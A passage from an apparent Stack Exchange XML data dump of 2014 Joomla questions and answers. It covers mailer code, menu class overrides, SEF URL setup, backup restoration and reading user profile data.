 &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($twentyhours1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '     &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($hourssavings1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;/tr&amp;gt;'&#xA;    . ' &amp;lt;tr class=&quot;calcresults&quot;&amp;gt;'&#xA;    . '   &amp;lt;th&amp;gt;Total&amp;lt;/th&amp;gt;'&#xA;    . '   &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($tentotal1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '   &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($twentytotal1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '   &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($totalsavings1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;/tr&amp;gt;'&#xA;    . ' &amp;lt;/table&amp;gt;'&#xA;    . ' &amp;lt;/div&amp;gt;';&#xA;&#xA;$config = JFactory::getConfig();&#xA;//taken form Mathew Lennings answer&#xA;$calculatorsEmailAddress = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('calculatorsEmailAddress', null, 'string');&#xA;try{&#xA;    ob_start();&#xA;    $mailer = JFactory::getMailer();&#xA;&#xA;    $sender = array(&#xA;        $config-&amp;gt;get( 'config.mailfrom' ),&#xA;        $config-&amp;gt;get( 'config.fromname' ) );&#xA;&#xA;    $mailer-&amp;gt;setSender($sender);&#xA;&#xA;    $recipient = $calculatorEmailAddress;&#xA;    $mailer-&amp;gt;addRecipient($recipient);&#xA;&#xA;    $mailer-&amp;gt;Encoding = 'base64';&#xA;    $mailer-&amp;gt;setSubject('EMT Calculator App Results');&#xA;    $mailer-&amp;gt;isHTML(true);&#xA;    $mailer-&amp;gt;setBody($body);&#xA;    $mailer-&amp;gt;SMTPDebug = 1;&#xA;&#xA;    $send = $mailer-&amp;gt;Send();&#xA;    if ( $send !== true ) {&#xA;        echo 'Error sending email: ' . $send-&amp;gt;__toString();&#xA;    } else {&#xA;        echo 'Mail sent';&#xA;    }&#xA;    echo ob_get_clean();&#xA;}catch(phpmailerException $e){&#xA;    echo $e-&amp;gt;errorMessage();&#xA;}catch(Exception $e){&#xA;    echo $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This technique can get the SMTP errors in a managable format, with ob_start to can even save it to an error log if need be since phpmailer just echo's it by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The $body variable also uses many variables that do not seem to be defined, I am sure that is just handled in another function though, but I would also test each one to ensure it is working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I had a question close to this one, more or the error side though but I want to give credit for leading me to this full solution:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/56/smtp-no-error-but-not-sending-email&quot;&gt;SMTP no error but not sending email&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-05-20T22:10:39.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="884" PostTypeId="2" ParentId="882" CreationDate="2014-05-16T17:56:41.617" Score="1" Body="&lt;p&gt;Answer 1: Is there an active status on the alias link at all? There should be - Because you can use that in place of current for that particular case. In fact I typically add .active to all my .current styles to catch those types of links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer 2: As for a hack around, here's an option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a body id for your page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This goes above the doctype:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $app = JFactory::getApplication();&#xA;  $menu = $app-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;  $pageclass = '';&#xA;&#xA;  if (is_object($menu))&#xA;    $pageclass = $menu-&amp;gt;params-&amp;gt;get('pageclass_sfx');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this replaces &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body id=&quot;&amp;lt;?php echo $pageclass ? htmlspecialchars($pageclass) : 'default'; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on your actual Tutorial menu item (the non-alias) - add a page class. Now when you go to the tutorial page, a body id will show up for your page. Now, grab your alias li item class and style its appearance to match the current styling when inside that body id.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-05-16T17:56:41.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="885" PostTypeId="2" ParentId="882" CreationDate="2014-05-16T18:38:38.187" Score="2" Body="&lt;p&gt;The default menu module in Joomla 2.5 append the active class to the active menu items, event to the alias menu item type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that your template contains already a template override for the menu module, giving to your module a different behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, it is very easy to modify the output of the menu module with your override and add the classes you want to it.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-05-16T18:38:38.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="886" PostTypeId="2" ParentId="865" CreationDate="2014-05-16T18:58:45.227" Score="3" Body="&lt;p&gt;There are two ways you can do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied &lt;code&gt;php-font-lib&lt;/code&gt; in the path shown in the image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5uBKH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using jimport&lt;/strong&gt; (with basically just replaces dots with slashes), you can choose to use the Autoloader provided by &lt;code&gt;php-font-lib&lt;/code&gt;, which might decouple you nicely from Joomla.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('php-font-lib.src.FontLib.Autoloader');&#xA;&#xA;$font = \FontLib\Font::load('Norasi.ttf');&#xA;var_dump($font);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using the Joomla Autoloader&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerNamespace('FontLib', JPATH_LIBRARIES . '/php-font-lib/src/');&#xA;&#xA;$font = \FontLib\Font::load('Norasi.ttf');&#xA;var_dump($font);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enjoy.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-16T18:58:45.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="887" PostTypeId="2" ParentId="779" CreationDate="2014-05-16T19:04:09.200" Score="6" Body="&lt;p&gt;com_api is definitely a good way to build REST services for your site if the extension itself is not based on FOF/RAD. However be careful with a few gotchas if you plan to create a separate Joomla instance only for the API&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Domain specific stuff (Eg: If you are supporting user registration, then the welcome email would include a link to the API subdomain). This could be mitigated by playing around with the PHP server variable.&lt;/li&gt;&#xA;&lt;li&gt;Similarly image paths etc need to be correct, unless you are using S3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Apart from that I'm sure there should not be any problems, since that will continue to be developed till there is a de-facto Joomla way of creating APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer : I am the maintainer of &lt;a href=&quot;https://github.com/techjoomla/com_api&quot;&gt;https://github.com/techjoomla/com_api&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="67" LastActivityDate="2014-05-16T19:04:09.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="888" PostTypeId="2" ParentId="859" CreationDate="2014-05-16T19:52:35.187" Score="1" Body="&lt;p&gt;This usually happens because your browser cached an old version of the javascript / css files required for tags editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not using any third-party cache, Shift-reload in the browser (or ctrl-reload depending on the browser) will fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else if you are using some fancy cache, clear the cache both from Joomla and from the cache manager. If you're using varnish, clear it there too.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2014-05-16T19:52:35.187" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="889" PostTypeId="2" ParentId="878" CreationDate="2014-05-16T20:53:45.520" Score="1" Body="&lt;p&gt;in the file &lt;code&gt;/templates/your_template/index.php&lt;/code&gt; you can adjust the body tag to add classes you may need, with media queries you can adjust it based on the screen resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Media_queries&quot; rel=&quot;nofollow&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Media_queries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you need different layouts for various pages with appending &lt;code&gt;?tmpl=component&lt;/code&gt; you can just create a file &lt;code&gt;component.php&lt;/code&gt; in the same directory (or any name as long as it matches) to adjust the layout for that.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-05-16T20:53:45.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="890" PostTypeId="1" CreationDate="2014-05-16T21:07:52.243" Score="5" ViewCount="436" Body="&lt;p&gt;If I build a Joomla! site (J!3) without SEF, can I enable it 'after the fact'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I have to do a lot of extra work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I'm using sh404SEF - can I install and use this on Joomla! site that already in production, but not using SEF yet?&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2014-05-20T04:02:49.333" Title="Using Joomla! SEF 'After the Fact'" Tags="|sef|sh404sef|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="891" PostTypeId="2" ParentId="890" CreationDate="2014-05-16T21:54:28.380" Score="2" Body="&lt;p&gt;Yes you can activate SEF &quot;after the fact&quot; without problems. In most cases you need to rename htaccess.txt to .htaccess and then activate the SEF Settings in the Joomla Global Configuratoin.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-16T21:54:28.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="892" PostTypeId="2" ParentId="890" CreationDate="2014-05-16T22:00:45.023" Score="5" Body="&lt;p&gt;Technically, you can start the website without SEF enabled and can enabled it later. &#xA;Enabling the core SEF functionality does not involve a lot of extra work.&#xA;It is only enabling the SEF options in the global configuration and renaming the htaccess.txt file to .htaccess, if you want to enable also URL rewrite to remove the index.php from the urls. There are plenty of tutorials on how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As part of the extra work you mentioned, a piece of extra work could be considered some specific naming for the urls you will have after enabling SEF. For example you may decide that for some particular pages you want a different or shorter url, therefore you will have to rename the menu-item alias, or the article alias. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SH404SEF, you can install it and enable it at a later time as well. The extra work here will involve the configuration of the component and probably customization of the urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, considering how google will treat your website URLs, if you enable SEF in a short period of time, then Google won't have the chance to fully index your site pages and their URLs. But in any case, after enabling SEF, Google sooner or later will update its index with the new URLs, but even any non-SEF urls will continue to work and direct users to the corresponding SEF urls of your website.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-05-16T22:00:45.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="893" PostTypeId="2" ParentId="878" CreationDate="2014-05-17T01:35:48.753" Score="2" Body="&lt;p&gt;If your template is set up correctly, when you add a page class in the menu item it adds it to the page as a body class. So you can just add extra css to your template and prefix it with body.yourpageclass so it only loads on the pages that have that class in the menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example: &lt;a href=&quot;http://globalawakening.com/trips/srilanka-june-2014&quot; rel=&quot;nofollow&quot;&gt;Customized Trip Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This and the other trip pages use a page class called trip-page (view the source and you can see it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used something like this then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.trip-page .box3.nohover .rt-block {background-image: url(../../../images/IMT/trip-page-overlay-plane.png);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your code will vary from this, but that .rt-block is the article content box and I wanted a custom background ONLY on the trip pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also another way to do this, and that is to code your own template so that something unique is in that body tag on the page. Rocket theme does this with a switch in the template actually. You could theoretically mod the template so that the article category loads into the body tag at the top, allowing you to use custom css on entire categories.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-05-17T01:35:48.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="894" PostTypeId="2" ParentId="890" CreationDate="2014-05-17T02:52:32.460" Score="3" Body="&lt;p&gt;You can enable it after the fact, but be very careful when doing so. I would strongly recommend backing up your website before installing any SEF component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;POSSIBLE PROBLEMS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not done properly, activating sh404SEF on an already established site can have the opposite effect of what you are trying to achieve. Why? Consider the points below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your current URL structure is most likely already indexed by several&#xA;search engines.&lt;/li&gt;&#xA;&lt;li&gt;Websites have probably linked to your pre-SEF URLs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When you activate your SEF component it will change your URLs. If your SEF component doesn't map (redirect) visitors from the old URLs to the new ones you will lose SEO rank and get lots of 404 errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEF components can be complicated (at least for me) and proper mapping (redirection) of old urls to new ones can be a pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you thoroughly research your SEF component before installing it. Sometimes links will be created differently to how you would expect. For instance, I believe that sh404SEF doesn't use menu structure to create the url. It instead uses the category structure to organise(Br.E) the way the URL is made (please correct me if I'm wrong).&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-05-20T04:02:49.333" LastActivityDate="2014-05-20T04:02:49.333" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="895" PostTypeId="1" CreationDate="2014-05-17T02:58:42.090" Score="7" ViewCount="3369" Body="&lt;p&gt;I am building a custom component and all is good. I thought I would have a go at the new 3.2 repeatable xml form field feature. Although I have it working I don't quite know how to save the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows me to launch a modal and within that modal create up to 999 custom fields that I specify. But the green save button in the modal closes the modal and doesn't actually apply the save?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;list_templates&quot;&#xA;    type=&quot;Repeatable&quot;&#xA;    icon=&quot;list&quot;&#xA;    description=&quot;Main description&quot;&#xA;    label=&quot;Main Label&quot;&#xA;    default=&quot;&quot;&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;    &amp;lt;fieldset hidden=&quot;true&quot; name=&quot;list_templates_modal&quot; repeat=&quot;true&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;template&quot;&#xA;                    label=&quot;Template Label&quot;&#xA;                    size=&quot;30&quot;&#xA;                    type=&quot;text&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;location&quot;&#xA;                    label=&quot;Location Label&quot;&#xA;                    description=&quot;desc&quot;&#xA;                    size=&quot;30&quot;&#xA;                    type=&quot;filelist&quot;&#xA;                    directory=&quot;media/editors/tinymce/templates&quot;&#xA;                    exclude=&quot;index.html&quot;&#xA;                    hide_default=&quot;true&quot;&#xA;                    hide_none=&quot;true&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;description&quot;&#xA;                    label=&quot;Description Label&quot;&#xA;                    size=&quot;30&quot;&#xA;                    type=&quot;textarea&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers in advance &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jonny&lt;/p&gt;&#xA;" OwnerUserId="427" LastEditorUserId="159" LastEditDate="2014-05-18T07:04:27.770" LastActivityDate="2014-05-18T07:04:27.770" Title="How to create a repeatable xml form field feature?" Tags="|component|joomla-3.2|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="896" PostTypeId="1" AcceptedAnswerId="910" CreationDate="2014-05-17T05:34:04.103" Score="2" ViewCount="1317" Body="&lt;p&gt;Joomla website backup not restoring on my server using kickstart.php. Backup-file details are as follows-&#xA;backup-file extension : .jpa,&#xA;backup-file size : 980MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XPg7u.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;After clicking on &quot;Start&quot; button to restore backup, next error screen is as below:&lt;/p&gt;&#xA;" OwnerUserId="428" LastEditorUserId="428" LastEditDate="2014-05-19T05:46:51.803" LastActivityDate="2014-05-22T13:48:48.237" Title="Problem while restoring Joomla website on server using kickstart.php" Tags="|backups|akeebabackup|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="897" PostTypeId="2" ParentId="896" CreationDate="2014-05-17T11:15:06.750" Score="3" Body="&lt;p&gt;It can be that your backup file is corrupted. I would suggest to try to restore the jpa archive in your local machine using &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-extract-wizard.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba extract wizard&lt;/a&gt;, to get closer to a conclusion that the file can be restored or it is damaged. If it can not be restored locally, then there is a big chance that your archive is corrupted. &#xA;Try to re-backup, but before you do so, also check what else directories apart of the joomla core ones are included in your backup, as it possible that you also include long logs files that might cause you issues restoring them, as you will read in the next lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other possible issues why you can't restore it on your server are the time-outs, especially if your archive contains very big files (e.g. logs files as described above). You could try modifying the php.ini file and adjust the max_execution_time to higher value (e.g. &gt; 120).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility could be that there are some permissions issues (??). What is the operating system of your server ?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-05-17T14:34:14.130" LastActivityDate="2014-05-17T14:34:14.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="898" PostTypeId="2" ParentId="864" CreationDate="2014-05-17T17:12:53.240" Score="2" Body="&lt;p&gt;This is from a menu module override I did on a past joomla 2.5 site, that deals with the same requirement. I paste here an early version of the code from default.php file as exists in my local dev version at that time. It is possible that I further modified or improved the code later for the final version, but I don't have access anymore to that code to paste it here. So use it with caution or report back any issues, so I will edit the post here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alongside with the items (li) level, it also assign a class to the sub uls.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_menu&#xA; * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;// No direct access.&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Note. It is important to remove spaces between elements.&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;menu&amp;lt;?php echo $class_sfx;?&amp;gt;&quot;&amp;lt;?php&#xA;    $tag = '';&#xA;    if ($params-&amp;gt;get('tag_id')!=NULL) {&#xA;        $tag = $params-&amp;gt;get('tag_id').'';&#xA;        echo ' id=&quot;'.$tag.'&quot;';&#xA;    }&#xA;?&amp;gt;&amp;gt;&#xA;&amp;lt;?php&#xA;foreach ($list as $i =&amp;gt; &amp;amp;$item) :&#xA;    $class = 'item-'.$item-&amp;gt;id;&#xA;    if ($item-&amp;gt;id == $active_id) {&#xA;        $class .= ' current';&#xA;    }&#xA;&#xA;    if (in_array($item-&amp;gt;id, $path)) {&#xA;        $class .= ' active';&#xA;    }&#xA;    elseif ($item-&amp;gt;type == 'alias') {&#xA;        $aliasToId = $item-&amp;gt;params-&amp;gt;get('aliasoptions');&#xA;        if (count($path) &amp;gt; 0 &amp;amp;&amp;amp; $aliasToId == $path[count($path)-1]) {&#xA;            $class .= ' active';&#xA;        }&#xA;        elseif (in_array($aliasToId, $path)) {&#xA;            $class .= ' alias-parent-active';&#xA;        }&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;deeper) {&#xA;        $class .= ' deeper';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;level == 1) {&#xA;        $class .= ' items-level1';&#xA;    }&#xA;    if ($item-&amp;gt;level == 2) {&#xA;        $class .= ' items-level2';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;level == 3) {&#xA;        $class .= ' items-level3';&#xA;    }&#xA;    if ($item-&amp;gt;level == 4) {&#xA;        $class .= ' items-level4';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;parent) {&#xA;        $class .= ' parent';&#xA;    }&#xA;&#xA;    if (!empty($class)) {&#xA;        $class = ' class=&quot;'.trim($class) .'&quot;';&#xA;    }&#xA;&#xA;    echo '&amp;lt;li'.$class.'&amp;gt;';&#xA;&#xA;    // Render the menu item.&#xA;    switch ($item-&amp;gt;type) :&#xA;        case 'separator':&#xA;        case 'url':&#xA;        case 'component':&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_'.$item-&amp;gt;type);&#xA;            break;&#xA;&#xA;        default:&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_url');&#xA;            break;&#xA;    endswitch;&#xA;&#xA;    // The next item is deeper.&#xA;    if ($item-&amp;gt;deeper) {&#xA;        echo '&amp;lt;ul'; if($item-&amp;gt;level == 1) {echo &quot; class='first-subs'&quot;;} if($item-&amp;gt;level == 2) {echo &quot; class='second-subs'&quot;;}if($item-&amp;gt;level == 3) {echo &quot; class='third-subs'&quot;;}&#xA;        echo '&amp;gt;';&#xA;    }&#xA;    // The next item is shallower.&#xA;    elseif ($item-&amp;gt;shallower) {&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;        echo str_repeat('&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;', $item-&amp;gt;level_diff);&#xA;    }&#xA;    // The next item is on the same level.&#xA;    else {&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;endforeach;&#xA;?&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-05-17T17:12:53.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="899" PostTypeId="1" AcceptedAnswerId="902" CreationDate="2014-05-17T18:01:17.960" Score="13" ViewCount="24573" Body="&lt;p&gt;I want to make a custom profile page which will only display the details of the user who has logged into my website. I need to display&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;username&lt;/li&gt;&#xA;&lt;li&gt;name&lt;/li&gt;&#xA;&lt;li&gt;registered email&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it also possible to &lt;strong&gt;create custom fields&lt;/strong&gt; but not at the registation form, only when they login, they should be able to edit their profile page.&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="126" LastEditDate="2015-06-05T11:18:54.460" LastActivityDate="2016-06-21T18:37:23.177" Title="How to display user profile information?" Tags="|development|joomla-api|login|user|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="900" PostTypeId="2" ParentId="899" CreationDate="2014-05-17T18:32:34.797" Score="5" Body="&lt;p&gt;You should really do some research before asking a question like this. 2 seconds on Google and you would have all the information you needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a in User Profile plugin that comes with Joomla. In the Joomla backend, go to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extensions&lt;/strong&gt; (top menu) &gt;&gt; &lt;strong&gt;Plugin Manager&lt;/strong&gt; &gt;&gt; &lt;strong&gt;User Profile&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see the following custom fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Address 1 &lt;/li&gt;&#xA;&lt;li&gt;Address 2     &lt;/li&gt;&#xA;&lt;li&gt;City Region   &lt;/li&gt;&#xA;&lt;li&gt;Country   &lt;/li&gt;&#xA;&lt;li&gt;Postal / ZIP Code     &lt;/li&gt;&#xA;&lt;li&gt;Phone&lt;/li&gt;&#xA;&lt;li&gt;Web site  &lt;/li&gt;&#xA;&lt;li&gt;Favourite Book    &lt;/li&gt;&#xA;&lt;li&gt;About Me  &lt;/li&gt;&#xA;&lt;li&gt;Date of Birth&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can choose which ones you want on the registration and profile page. If these fields aren't the ones you're looking for, then you might want to look at &lt;a href=&quot;http://extensions.joomla.org/extensions/clients-a-communities/communities/210&quot;&gt;Community Builder&lt;/a&gt;. This extension allows you to add your own custom fields and integrates with other extensions. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-17T18:32:34.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="901" PostTypeId="2" ParentId="899" CreationDate="2014-05-17T18:49:42.833" Score="7" Body="&lt;p&gt;@Lodder is correct. If you want just some basic fields, then you can use Joomla User Profile plugin, which comes with Joomla itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create some customized fields, then there are various options available like, Community Builder, JomSocial, EasySocial and other socila networking solution. But if don't want the full community solution then you can look for the extension which are built for only user profiling. &lt;a href=&quot;http://extensions.joomla.org/extensions/clients-a-communities/user-management/26715&quot;&gt;Joom Profile&lt;/a&gt; can be an option for you.&lt;/p&gt;&#xA;" OwnerUserId="317" LastActivityDate="2014-05-17T18:49:42.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="902" PostTypeId="2" ParentId="899" CreationDate="2014-05-17T18:57:39.860" Score="24" Body="&lt;h1&gt;Joomla: Accessing User Info - The User Object&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To get user information for the current user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will return the &lt;strong&gt;User Object&lt;/strong&gt;.&lt;br&gt;&#xA;Here, some of the most common &lt;strong&gt;User Object's Properties:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;id &lt;code&gt;($user-&amp;gt;id)&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;name &lt;code&gt;($user-&amp;gt;name)&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;username (&lt;code&gt;$user-&amp;gt;username&lt;/code&gt;) &lt;/li&gt;&#xA;&lt;li&gt;groups (&lt;code&gt;$user-&amp;gt;groups&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;email (&lt;code&gt;$user-&amp;gt;email&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can check if the &lt;strong&gt;user is logged-in&lt;/strong&gt; with the:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user-&amp;gt;guest; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can check for the &lt;strong&gt;user's access privileges&lt;/strong&gt; with the &lt;strong&gt;authorize&lt;/strong&gt; method, e.g:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user-&amp;gt;authorise('core.admin', 'com_component')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;User Profiles&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For extra custom fields, this depends on what you are trying to achieve. There is a Joomla core plugin &quot;User Profile&quot; which contains many custom profile fields and which you can customize further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update: Accessing the User Profile Data&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.user.helper' ); &#xA;$user = JFactory::getUser();&#xA;$userId = $user-&amp;gt;id; &#xA;$userProfile = JUserHelper::getProfile( $userId );&#xA;&#xA;echo &quot;Main Address :&quot; . 